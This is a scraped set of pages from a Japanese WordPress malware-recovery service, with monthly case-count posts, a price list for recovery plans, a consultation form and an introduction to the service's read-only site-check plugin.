- サイトがすべて、別のサイトに入れ替わっている

### ⚠️ 放置した場合のリスク

**売上・信用・検索順位を一瞬で失う危険があります。**

- 売上の急減
- 企業の信頼性低下
- 検索順位の下落
- Googleの検索結果からの復旧には長期間を要します

## WordPressマルウェア復旧の専門家が即解決！

私たちはWordPressセキュリティに特化した復旧チーム。
**24時間365日体制**で、あらゆるマルウェアトラブルに対応します。
企業サイト・ECショップ・個人ブログまで、数多くの復旧依頼を受け、**全件確実に復旧完了＆再発防止までサポート**しています。

✅ マルウェア感染による改ざん・リダイレクトの除去
✅ 不正リダイレクトによるフィッシングサイト誘導の解消
✅ 管理画面への不正アクセス・権限乗っ取り対応
✅ WordPress更新エラーで真っ白画面になった事例の復旧
✅ 検索順位急落・Google警告（「このサイトは危険です」）への対応
✅ `.htaccess` や `index.php` の改ざん修復
✅ ウイルス混入によるJavaScript自動挿入の完全除去
✅ データベース接続エラーやサーバー移行トラブルの復旧
✅ 不要プラグイン・テーマ由来の脆弱性診断と削除

## ワードプレス復旧の事例から見えた傾向

WordPressの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

海外IPアドレスからの攻撃が増加（自動スクリプト型が多数）

無料テーマや古いプラグインの脆弱性を突いた被害が多い

自力での復旧によりデータを失った状態で相談されるケースが増加

## ⚡ 復旧だけじゃない！徹底した再発防止

復旧後も安心してサイトを運用できるよう、
**脆弱性診断・セキュリティ強化・定期チェック**までフルサポートします。

🔍 AIでは検出できない手動マルウェア診断・除去に対応

📈 検索順位やサイト評価の維持を意識した修復作業

🔒 WAF導入・バックアップ体制・不要ファイル削除も対応

💬 技術者と直接やりとりできる安心感とスピード感

## 📞 今すぐご相談ください

緊急のマルウェア感染も、突発的なエラーも、最短即日対応可能。
**あなたの大切なWordPressサイトを、安全かつスピーディーに復旧いたします。**

## 復旧後のアフターフォローも無料で対応中

復旧後もご不安な方へ、**ZOOM・Google Meetによるオンライン相談**を無料で実施中です。
「同じ被害に遭わないためにどうすればいいか」「今の運用体制で問題はないか」など、どんなことでもご相談ください。

\[blog\_parts id=4365 title=PRICE \]

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年10月」実績合計22件。相談のみで解決：多数](https://wp-r.com/wprescue/202510/)

**Published:** 11月 8, 2025
**Author:** ワードプレスレスキュー

**Content:**

## **2025年10月 WordPress緊急復旧対応実績**

2025年10月に依頼いただいた案件は、ワードプレスのマルゥエア復旧は16件、それ以外が6件でした。マルウェア関連が弊社は、一番得意としており、誠心誠意、スピーディーに対応します。緊急に対応します。

今月のWordPress復旧案件では、マルウェア対応以外に、サーバー関連のトラブルが数多く発生しました。弊社はWordPressのセキュリティー対策を得意としており、それに伴うサーバー環境の構築・保守にも豊富な経験があります。共有サーバー、VPS、クラウド（GCP/AWS）など、あらゆる環境でのWordPress運用実績を多数保有しています。WordPress特有のトラブルからサーバーレベルの問題まで、ワンストップで対応可能です。

### 主な被害内容

- サイト改ざん・不正なリダイレクトの発生
- 管理画面へのアクセス不能・権限乗っ取り
- バックドがが何回も仕込まれる
- Googleの検索が通販サイトに入れ替わっている
- サイトがすべて、別のサイトに入れ替わっている

### ⚠️ 放置した場合のリスク

**売上・信用・検索順位を一瞬で失う危険があります。**

- 売上の急減
- 企業の信頼性低下
- 検索順位の下落
- Googleの検索結果からの復旧には長期間を要します

## WordPressマルウェア復旧の専門家が即解決！

私たちはWordPressセキュリティに特化した復旧チーム。
**24時間365日体制**で、あらゆるマルウェアトラブルに対応します。
企業サイト・ECショップ・個人ブログまで、数多くの復旧依頼を受け、**全件確実に復旧完了＆再発防止までサポート**しています。

✅ マルウェア感染による改ざん・リダイレクトの除去
✅ 不正リダイレクトによるフィッシングサイト誘導の解消
✅ 管理画面への不正アクセス・権限乗っ取り対応
✅ WordPress更新エラーで真っ白画面になった事例の復旧
✅ 検索順位急落・Google警告（「このサイトは危険です」）への対応
✅ `.htaccess` や `index.php` の改ざん修復
✅ ウイルス混入によるJavaScript自動挿入の完全除去
✅ データベース接続エラーやサーバー移行トラブルの復旧
✅ 不要プラグイン・テーマ由来の脆弱性診断と削除

## ワードプレス復旧の事例から見えた傾向

WordPressの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

海外IPアドレスからの攻撃が増加（自動スクリプト型が多数）

無料テーマや古いプラグインの脆弱性を突いた被害が多い

自力での復旧によりデータを失った状態で相談されるケースが増加

## ⚡ 復旧だけじゃない！徹底した再発防止

復旧後も安心してサイトを運用できるよう、
**脆弱性診断・セキュリティ強化・定期チェック**までフルサポートします。

🔍 AIでは検出できない手動マルウェア診断・除去に対応

📈 検索順位やサイト評価の維持を意識した修復作業

🔒 WAF導入・バックアップ体制・不要ファイル削除も対応

💬 技術者と直接やりとりできる安心感とスピード感

## 📞 今すぐご相談ください

緊急のマルウェア感染も、突発的なエラーも、最短即日対応可能。
**あなたの大切なWordPressサイトを、安全かつスピーディーに復旧いたします。**

## 復旧後のアフターフォローも無料で対応中

復旧後もご不安な方へ、**ZOOM・Google Meetによるオンライン相談**を無料で実施中です。
「同じ被害に遭わないためにどうすればいいか」「今の運用体制で問題はないか」など、どんなことでもご相談ください。

\[blog\_parts id=4365 title=PRICE \]

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年11月と12月」実績合計46件。相談のみで解決あり。](https://wp-r.com/wprescue/2025-11-12/)

**Published:** 1月 6, 2026
**Author:** ワードプレスレスキュー

**Content:**

## **2025年11月と12月の WordPress緊急復旧対応実績**

2025年11月と12に依頼いただいた案件は、ワードプレスのマルゥエア復旧は34件、それ以外が12件でした。マルウェア関連が弊社は、一番得意としており、誠心誠意、スピーディーに対応します。緊急に対応します。

今月のWordPress復旧案件では、マルウェア対応に加え、サーバー起因のトラブルも多く発生しました。
弊社はWordPressのセキュリティ対策を強みとしており、それに伴うサーバー環境の構築・保守にも豊富な実績があります。共有サーバー環境でのWordPress運用を中心に、WordPress特有の不具合からサーバーレベルの問題までワンストップで対応可能です。
また、年末年始においても緊急対応を実施し、迅速な復旧支援を行いました。

### 主なワードプレスの改ざん被害内容からの復旧

- サイト改ざん・不正なリダイレクトの発生
- 管理画面へのアクセス不能・権限乗っ取り
- バックドがが何回も仕込まれる
- Googleの検索が通販サイトに入れ替わっている
- サイトがすべて、別のサイトに入れ替わっている

### ⚠️ 放置した場合のリスク

**売上・信用・検索順位を一瞬で失う危険があります。**

- 売上の急減
- 企業の信頼性低下
- 検索順位の下落
- Googleの検索結果からの復旧には長期間を要します

## WordPressマルウェア復旧の専門家が即解決！

私たちはWordPressセキュリティに特化した復旧チーム。
**24時間365日体制**で、あらゆるマルウェアトラブルに対応します。
企業サイト・ECショップ・個人ブログまで、数多くの復旧依頼を受け、**全件確実に復旧完了＆再発防止までサポート**しています。

✅ マルウェア感染による改ざん・リダイレクトの除去
✅ 不正リダイレクトによるフィッシングサイト誘導の解消
✅ 管理画面への不正アクセス・権限乗っ取り対応
✅ WordPress更新エラーで真っ白画面になった事例の復旧
✅ 検索順位急落・Google警告（「このサイトは危険です」）への対応
✅ `.htaccess` や `index.php` の改ざん修復
✅ ウイルス混入によるJavaScript自動挿入の完全除去
✅ データベース接続エラーやサーバー移行トラブルの復旧
✅ 不要プラグイン・テーマ由来の脆弱性診断と削除

## ワードプレス復旧の事例から見えた傾向

WordPressの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

海外IPアドレスからの攻撃が増加（自動スクリプト型が多数）

無料テーマや古いプラグインの脆弱性を突いた被害が多い

自力での復旧によりデータを失った状態で相談されるケースが増加

## ⚡ 復旧だけじゃない！徹底した再発防止

復旧後も安心してサイトを運用できるよう、
**脆弱性診断・セキュリティ強化・定期チェック**までフルサポートします。

🔍 AIでは検出できない手動マルウェア診断・除去に対応

📈 検索順位やサイト評価の維持を意識した修復作業

🔒 WAF導入・バックアップ体制・不要ファイル削除も対応

💬 技術者と直接やりとりできる安心感とスピード感

## 📞 今すぐご相談ください

緊急のマルウェア感染も、突発的なエラーも、最短即日対応可能。
**あなたの大切なWordPressサイトを、安全かつスピーディーに復旧いたします。**

## 復旧後のアフターフォローも無料で対応中

復旧後もご不安な方へ、**ZOOM・Google Meetによるオンライン相談**を無料で実施中です。
「同じ被害に遭わないためにどうすればいいか」「今の運用体制で問題はないか」など、どんなことでもご相談ください。

\[blog\_parts id=4365 title=PRICE \]

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2026年1月と2月」実績合計23件。相談のみで解決あり。](https://wp-r.com/wprescue/20260102/)

**Published:** 3月 7, 2026
**Author:** ワードプレスレスキュー

**Content:**

## **2026年1月と2月の WordPress緊急復旧対応実績**

2026年1月と2月に依頼いただいた案件は、ワードプレスのマルゥエア復旧は20件、それ以外が3件でした。マルウェア関連が弊社は、一番得意としており、誠心誠意、スピーディーに対応します。緊急に対応します。

今月のWordPress復旧案件では、マルウェア対応に加え、サーバー起因のトラブルも多く発生しました。
弊社はWordPressのセキュリティ対策を強みとしており、それに伴うサーバー環境の構築・保守にも豊富な実績があります。共有サーバー環境でのWordPress運用を中心に、WordPress特有の不具合からサーバーレベルの問題までワンストップで対応可能です。
また、年末年始においても緊急対応を実施し、迅速な復旧支援を行いました。

### 主なワードプレスの改ざん被害内容からの復旧

- サイト改ざん・不正なリダイレクトの発生
- 管理画面へのアクセス不能・権限乗っ取り
- バックドがが何回も仕込まれる
- Googleの検索が通販サイトに入れ替わっている
- サイトがすべて、別のサイトに入れ替わっている

### ⚠️ 放置した場合のリスク

**売上・信用・検索順位を一瞬で失う危険があります。**

- 売上の急減
- 企業の信頼性低下
- 検索順位の下落
- Googleの検索結果からの復旧には長期間を要します

## WordPressマルウェア復旧の専門家が即解決！

私たちはWordPressセキュリティに特化した復旧チーム。
**24時間365日体制**で、あらゆるマルウェアトラブルに対応します。
企業サイト・ECショップ・個人ブログまで、数多くの復旧依頼を受け、**全件確実に復旧完了＆再発防止までサポート**しています。

✅ マルウェア感染による改ざん・リダイレクトの除去
✅ 不正リダイレクトによるフィッシングサイト誘導の解消
✅ 管理画面への不正アクセス・権限乗っ取り対応
✅ WordPress更新エラーで真っ白画面になった事例の復旧
✅ 検索順位急落・Google警告（「このサイトは危険です」）への対応
✅ `.htaccess` や `index.php` の改ざん修復
✅ ウイルス混入によるJavaScript自動挿入の完全除去
✅ データベース接続エラーやサーバー移行トラブルの復旧
✅ 不要プラグイン・テーマ由来の脆弱性診断と削除

## ワードプレス復旧の事例から見えた傾向

WordPressの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

海外IPアドレスからの攻撃が増加（自動スクリプト型が多数）

無料テーマや古いプラグインの脆弱性を突いた被害が多い

自力での復旧によりデータを失った状態で相談されるケースが増加

## ⚡ 復旧だけじゃない！徹底した再発防止

復旧後も安心してサイトを運用できるよう、
**脆弱性診断・セキュリティ強化・定期チェック**までフルサポートします。

🔍 AIでは検出できない手動マルウェア診断・除去に対応

📈 検索順位やサイト評価の維持を意識した修復作業

🔒 WAF導入・バックアップ体制・不要ファイル削除も対応

💬 技術者と直接やりとりできる安心感とスピード感

## 📞 今すぐご相談ください

緊急のマルウェア感染も、突発的なエラーも、最短即日対応可能。
**あなたの大切なWordPressサイトを、安全かつスピーディーに復旧いたします。**

## 復旧後のアフターフォローも無料で対応中

復旧後もご不安な方へ、**ZOOM・Google Meetによるオンライン相談**を無料で実施中です。
「同じ被害に遭わないためにどうすればいいか」「今の運用体制で問題はないか」など、どんなことでもご相談ください。

\[blog\_parts id=4365 title=PRICE \]

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---


## 固定ページ

### [WordPressマルウェア・改ざん・乗っ取り・表示不具合の緊急復旧サービス](https://wp-r.com/)

**Published:** 1月 1, 2019
**Author:** ワードプレスレスキュー

---

### [秘密保持について](https://wp-r.com/nda/)

**Published:** 11月 29, 2017
**Author:** ワードプレスレスキュー

**Content:**

## 秘密保持について

本サイトを通じて、弊社に発注頂いたお客様には、全て下記の秘密保持契約が適用されます。秘密保持契約（NDA)は、通常弊社の情報も含まれますが、弊社の方から機密情報を出すことはございませんので、一律下記の内容が適用されますので、ご安心下さい。また、しっかりとした紙面や電子締結でのNDAの締結が必要な場合は、対応しておりますので、お申し付け下さい。ZOHO SIGNを使用しております。

---

### [【料金表】WordPress復旧・修復費用｜一般復旧29,800円・マルウェア38,000円](https://wp-r.com/wp-price/)

**Published:** 4月 15, 2020
**Author:** ワードプレスレスキュー

**Content:**

## WordPressの復旧料金はいくら？

**ワードプレスレスキューのWordPress復旧料金は、Aプラン29,800円（税別）／Bプラン38,000円（税別）です。初期診断無料・追加料金なしで対応しています。**

一般的な不具合は**29,800円（税別）**、マルウェア感染・サイト改ざん・乗っ取りは**38,000円（税別）**。表示不具合、ログイン不可、重大なエラー、リダイレクト被害などにも対応しています。

## WordPress復旧の料金相場は？

**軽度な不具合は1万円未満〜、重度なマルウェア被害は3〜10万円以上が相場です。** 料金差は、原因調査の深さや再発防止対応の有無によって生まれます。ワードプレスレスキューは症状に関わらず**定額29,800円／38,000円**で対応し、追加料金は一切発生しません。

## なぜ制作会社・マーケティング会社からの依頼が多いのか？

**ワードプレスレスキューへの依頼のうち約7割は制作会社・マーケティング会社からです（2026年9月1日時点・弊社調べ）。** 復旧はスピードが重要であり、都度見積もりによる時間ロスを避けたい制作会社からのニーズが高く、定額で即対応できる体制が評価されています。

 #### Aプラン｜一般的なWordPressトラブル

定額29,800円（税別）

マルウェア感染や改ざんを伴わない一般的な不具合

- 重大なエラー・画面が真っ白
- 管理画面にログインできない
- 更新後にサイトが表示されない
- プラグイン・テーマの不具合
- データベース接続エラー
 
  #### Bプラン｜マルウェア・改ざん・乗っ取り被害

定額38,000円（税別）

感染調査・除去・修復・バックドア確認・再発防止を含みます

- マルウェアに感染した
- サイトが改ざんされた・乗っ取られた
- 不正なサイトへ転送される・不正広告が表示される
- 覚えのない管理者・投稿が追加された
- Google・ブラウザに危険サイト警告が表示された
- マルウェアが原因でGoogle広告が不承認になった

乗っ取り・ハッキング被害の初動対応と復旧手順は、[WordPress乗っ取りの復旧方法](https://wp-r.com/wp-achieve/wordpress-hack-recovery-guide/)で解説しています。

## 症状別｜WordPress復旧料金一覧

**WP-RのWordPress復旧料金はA/Bの2プランを基本に、症状別に確認できます。**Aプラン29,800円（税別）は一般的なWordPressトラブル、Bプラン38,000円（税別）はマルウェア感染・改ざん・乗っ取り被害に対応します。**初期診断・お見積りは無料、追加料金は一切ありません。**以下から該当する症状をご確認ください。

 ### Aプラン 29,800円（税別）｜一般的なWordPressトラブル

- サイトが真っ白になった（ホワイトスクリーン） … 29,800円
- 「このサイトで重大なエラーが発生しました」と表示される … 29,800円
- 500 Internal Server Error が表示される … 29,800円
- 403 Forbidden / 404 Not Found が突然表示される … 29,800円
- 「データベース接続確立エラー」が表示される … 29,800円
- ログイン後にリダイレクトループが発生する … 29,800円
- プラグイン更新後にレイアウトが崩れた・機能しない … 29,800円
- WordPress本体・PHPアップデート後にサイトが動かない … 29,800円
- テーマ更新後にデザインが崩壊した … 29,800円
- サーバー移行・ドメイン変更後にサイトが表示されない … 29,800円
- 記事・画像・カスタム投稿が突然表示されなくなった … 29,800円
 
  ### Bプラン 38,000円（税別）｜マルウェア・改ざん・乗っ取り被害

- WordPressが改ざんされた・乗っ取られた … 38,000円
- 海外サイトや不正サイトへ強制転送（リダイレクト）される … 38,000円
- マルウェアが原因で Google広告が不承認になった … 38,000円
- Google Chrome / Safari に「危険なサイト」警告が表示された … 38,000円
- WordPress管理画面（wp-admin）にログインできない・乗っ取りの疑いがある … 38,000円
- index.phpや.htaccessが書き換わる、保存できない … 38,000円
- マルウェアに感染した・ウイルス感染の疑いがある … 38,000円
- Google Search Console に「セキュリティの問題」通知が届いた … 38,000円
- 覚えのない管理者ユーザー・不審な投稿が追加された … 38,000円
- 身に覚えのない不正広告・ポップアップが表示される … 38,000円
- Googleの結果が関係ないECサイトやオークションサイトに書き換わった … 38,000円
- 検索結果に日本語スパム（Japanese keyword hack）が表示される … 38,000円
- アカウントにおける不正なアクセスの検知および制限の実施のメールが届いた … 38,000円
- .htaccess / wp-config.php に不正コードが挿入された … 38,000円
- eval(base64\_decode) など難読化された不正PHPコードを検出 … 38,000円
- SEOスパムリンク・隠しリンクが大量に埋め込まれた … 38,000円
- 総当たり攻撃（ブルートフォース）でパスワードが漏洩した … 38,000円
- WordPressの脆弱性チェックとセキュリティ対策 … 38,000円
- WordPressのマルウェア・ウイルス対策 … 38,000円

上記に当てはまらない症状でも、まずは無料診断でご相談ください。症状の切り分けから当社が行い、AプランかBプランかを判定したうえで確定料金をお伝えします。診断後にキャンセルされた場合も費用は一切かかりません。

## WordPress復旧料金 4つの安心

- ### 診断・見積もり0円

    相談・診断・見積もりまでは無料です。
- ### 前払いなし・完全後払い

    復旧を確認してからお支払い。先にお金はかかりません。
- ### 成功報酬・復旧できなければ0円

    復旧できなかった場合、費用はいただきません。
- ### 追加料金なしをお約束

    途中で複数の症状が見つかっても、対象プラン内なら料金は変わりません。
 
\[wpr\_price\_section frame=”0″\]

\[wpr\_faq\_group id=”faq-group-001″\]

## 本サービスの責任者・実績

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 本サービスの責任者：CreativeStudio樂・前田美知太郎

WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。

WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。

WordPressの障害復旧は1,400件以上の対応実績。守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。

個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。

近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。[詳しいプロフィール・会社概要はこちら](https://wp-r.com/company-profile/) / [WordPress.org公開開発者プロフィールはこちら](https://profiles.wordpress.org/csgaku/profile/)

---

### [WordPress改ざん・マルウェア被害の無料相談 | 管理画面に入れない・403・リダイレクト対応](https://wp-r.com/wp-sodan/)

**Published:** 5月 4, 2026
**Author:** ワードプレスレスキュー

**Content:**

# WordPress改ざん・マルウェア被害の無料相談

WordPressで急に管理画面に入れない、403が出る、別サイトへ飛ばされる、画面が真っ白になる。
このような症状がある場合、WordPressの改ざん・マルウェア感染・乗っ取りの可能性があります。

**原因不明でもOKです。**
「改ざんなのか、ただのエラーなのかわからない」という段階でも問題ありません。
まずは、**今の症状をそのまま送っていい**無料相談窓口としてご利用ください。
**ご相談内容はサービス責任者が必ず確認します。**

[メールフォームへ](#sodan)

[お電話・**050-7114-9201**](tel:050-7114-9201)

## **こんな症状がある場合は、まずご相談ください**

以下のような症状がある場合、設定不良だけでなく、改ざんやマルウェア被害が関係していることがあります。

- WordPressの管理画面に入れない
- WordPressが改ざんされてしまった。再発防止やセキュリティー他対策
- 403 / Access Denied が出る
- サイトが真っ白になる
- 別のサイトへ勝手にリダイレクトされる
- 詐欺サイトや広告ページへ飛ばされる
- サーバー会社から不正アクセスの連絡が来た
- 「重大なエラーが発生しました」と表示される
- 管理画面やサイト表示が急に崩れた
- 見覚えのないユーザーや不審な動作がある
- 検索結果に知らないページや不自然なタイトルが出る

ひとつでも当てはまる場合は、まず状況確認のためにご相談ください。

## **原因不明でもOK。まずは今の症状だけで大丈夫です**

「改ざんかどうかわからない」
「依頼するかはまだ決めていない」
「何を書けばよいかわからない」
そのような状態でも問題ありません。

このページは、詳しい情報を完璧にそろえて申し込むページではなく、
**まず相談してよい窓口**として用意しています。**過度な営業はしません。**

たとえば、

- 昨日から管理画面に入れない
- 急に403が出るようになった
- 別サイトへ飛ばされる
- サーバー会社からメールが来た

このような内容だけでも大丈夫です。
**今の症状をそのまま送っていい**ので、わかる範囲でご記入ください。

## このようなご相談が多いです

### まだ依頼すると決めていませんが、相談していいですか

はい、大丈夫です。まずは状況確認だけしたい、というご相談でも問題ありません。

### 改ざんかどうかわからなくても大丈夫ですか

はい。**原因不明でもOK**です。403、ログイン不可、リダイレクト、真っ白な画面など、症状ベースでご相談いただけます。

### 何を書けばよいかわかりません

**今の症状をそのまま送っていい**ので、短い内容でも問題ありません。
わかる範囲でご記入ください。

### 個人のWordPressサイトでも相談できますか

はい。個人で運営しているWordPressサイトのご相談も受け付けています。

**今の症状をそのまま送っていい無料相談です。サービス責任者が必ず確認します。**

```

```

---

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 本サービスの責任者：CreativeStudio樂・前田美知太郎

WordPressは2007年から実務で扱い、障害復旧は1,400件超。インターネットプロバイダーのインフラエンジニア出身で、警察提出用ログや証跡管理の実務経験を持つ。

WordPressでは個人から上場企業・大学・IOC参加団体まで、初動対応から復旧に対応。インフラ/セキュリティでは、公的機関・教育機関・金融・観光・放送関連の設計・構築に従事。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。

必須名字

必須名

必須メールアドレス

電話連絡ご希望の方連絡先電話番号

いつぐらいから

無料相談内容

必須セキュリティー関連メール

受け取る受け取らない

必須[プライバシーポリシー](https://wp-r.com/?page_id=185)

同意する

**自動返信メールにご対応をお願いします。**

---

### [WordPressマルウェア復旧・ハッキング・乗っ取り・リダイレクト被害を即日解決](https://wp-r.com/wp-rescue-lp/)

**Published:** 3月 16, 2026
**Author:** ワードプレスレスキュー

**Content:**

必須名字

必須名

必須メールアドレス

連絡先電話番号

必須対象URL・症状

必須[プライバシーポリシー](https://wp-r.com/?page_id=185)

同意する

**送信後、確認でき次第ご連絡します。**

---

### [WordPress復旧｜表示されない・ログインできない症状を即日対応](https://wp-r.com/wordpress-rescue/)

**Published:** 3月 17, 2026
**Author:** ワードプレスレスキュー

---

### [会社概要　](https://wp-r.com/company-profile/)

**Published:** 6月 20, 2023
**Author:** ワードプレスレスキュー

---

### [WordPress乗っ取り・マルウェア感染対応のよくある質問　](https://wp-r.com/wp-faq/)

**Published:** 4月 25, 2024
**Author:** ワードプレスレスキュー

**Content:**

## WordPressの乗っ取り・マルウェア感染・不具合対応のよくある質問

感染・改ざん・表示不具合・Google警告・費用・保証まで、復旧前によくある質問をまとめています。

\[wpr\_faq\_section\]

---

### [TUBAME CHECK｜WordPressサイトの設定状態を管理画面から確認できる軽量チェックプラグイン](https://wp-r.com/tubame-c/)

**Published:** 5月 30, 2026
**Author:** ワードプレスレスキュー

**Content:**

TUBAME CHECK は、WordPress サイトの基本的な設定状態や、管理者が確認しておきたいポイントを、管理画面から手動で確認できる軽量チェックプラグインです。外部サービスへの通信、設定の自動変更、自動削除、自動修復は行わず、現在の状態を整理して表示することに特化しています。日常保守、納品前確認、運用中サイトの見直しなどで、サイト状態を把握しやすくするための確認ツールです。

## なぜ TUBAME CHECK を作ったのか

ワードプレスレスキューでは、WordPressの不具合復旧、改ざん対応、マルウェア調査の現場で、数多くのサイト状態を確認してきました。

その中で、PHPバージョン、更新状態、ファイル権限、debug.log、uploads 配下の設定など、基本的な確認だけでも多くの見落としが起きやすいことを実感しています。

TUBAME CHECK は、こうした現場経験をもとに、**外部に情報を送らず、サイトを自動で変更せず、管理者が確認すべき状態を安全に見える化するため**に作りました。

自動修復やマルウェア駆除を行うものではありません。
日々の保守や納品前確認、復旧後の状態確認を、より安全に、わかりやすく行うための軽量チェックツールです。

## TUBAME CHECK とは

TUBAME CHECK は、WordPress サイトの「今の状態」を、必要なタイミングで管理画面から確認するためのプラグインです。常時監視や自動防御を行うタイプではなく、管理者が確認すべき設定や状態を一覧化し、確認作業を補助する用途を想定しています。外部の脆弱性データベース照会や外部 API 通信には対応せず、サイト内で取得できる情報をもとに結果を表示します。プラグイン紹介ページでは、実際の役割を必要以上に広く見せず、機能範囲を明確にすることが重要です。

[WordPress Plugin Directory Guidelines](https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/)

## このプラグインの基本方針

TUBAME CHECK は、サイト状態の確認に集中できるよう、挙動をできるだけ明確にした設計方針を採っています。外部 API や外部サービスへ通信しないこと、自動修復・自動削除・自動設定変更を行わないこと、ファイル内容や秘密情報を画面に表示しないこと、確認結果を「正常」「確認推奨」「注意」「危険」「判定不可」で整理すること、そして最新結果・簡易履歴・CSV 出力で確認結果を残せるようにすることを基本方針としています。

